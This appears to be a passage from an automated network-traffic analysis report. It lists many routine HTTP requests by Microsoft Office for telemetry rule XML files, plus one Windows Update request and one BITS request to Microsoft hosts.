Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YetTvnzo787V92F&MD=hFYbta5p HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
